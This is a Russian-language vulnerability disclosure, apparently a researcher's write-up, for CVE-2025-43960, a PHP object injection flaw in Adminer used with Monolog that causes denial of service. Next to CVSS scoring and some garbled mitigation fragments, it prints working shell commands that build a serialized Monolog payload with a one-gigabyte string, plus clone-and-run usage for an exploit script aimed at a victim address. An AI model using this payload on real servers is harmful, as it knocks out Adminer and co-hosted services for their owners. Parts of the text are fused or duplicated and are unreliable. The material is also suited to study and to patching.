
CVE-2025-43960 - Внедрение PHP-объектов в Adminer < 4.8.1 с Monolog (DoS)
После нескольких месяцев ожидания ответа от MITRE я получил CVE-2025-43960 с атакой внедрения PHP-объектов против службы Adminer (<4.8.1), вызывающей отказ в обслуживании (DoS) через манипуляцию памятью.
https://github.com/user-attachments/assets/ebf7d8e8-01db-4d02-bb12-33321c749458
Эта уязвимость позволяет удаленным неаутентифицированным злоумышленникам эксплуатировать экземпляры Adminer 4.8.1, использующие Monolog, вызывая отказ в обслуживании (DoS) через внедрение PHP-объектов. Вектор атаки не требует аутентификации или взаимодействия с пользователем, что делает эту проблему высокой серьезности (CVSS 7.5) с потенциалом повышения до 8.6 в определенных общих средах.
Adminer 4.8.1 при использовании Monolog для ведения журнала допускает отказ в обслуживании (потребление памяти) через специально сформированную сериализованную полезную нагрузку, например, со строкой s:1000000000, также известную как проблема внедрения PHP-объектов. Уязвимость затрагивает экземпляры Adminer, использующие Monolog для ведения журнала, где недоверенные пользовательские вводные данные десериализуются без надлежащей проверки.
Отправляя большой десериализованный объект, злоумышленник может вызвать высокое потребление памяти, что приведет к неработоспособности интерфейса Adminer и вызовет DoS на всем сервере.
Базовая оценка: 7.5 (Высокий)
Вектор: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Примечание для конкретных развертываний:
Если сбой Adminer также нарушает работу других служб/арендаторов (например, контейнера или общего процесса), может применяться Область: Изменена:
- Вектор:
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H- Оценка: 8.6 (Высокий)
unserialize() для недоверенных данных в Adminer и Monolog.memory_limit) в PHP для предотвращения чрезмерного потребления ресурсов.allowed_classes в unserialize(), чтобы ограничить десериализацию неавторизованных классов.< 4.8.1 (последний стабильный релиз на момент тестирования)unserialize()Генерация полезной нагрузки:
head -c 1000000000 </dev/zero | tr '\0' 'D' > filler.txt
echo 'O:32:"Monolog\\Handler\\SyslogUdpHandler":2:{
s:9:"*socket";r:2;
s:10:"*handler";s:1000000000:"'$(cat filler.txt)'";
}' > payload.txt
Воздействие:
git clone https://github.com/far00t01/CVE-2025-43960
cd CVE-2025-43960
pip install -r requirement.txt
python3 cve-2025-43960.py
python3 cve-2025-43960.py
Usage: cve-2025-43960.py <ip-listener> <port-listener> <ip-victim:port>
Example: python3 cve-2025-43960.py 198.51.100.11 80 203.0.113.11:8000
Fabian Rosales (@far00t01) Medium.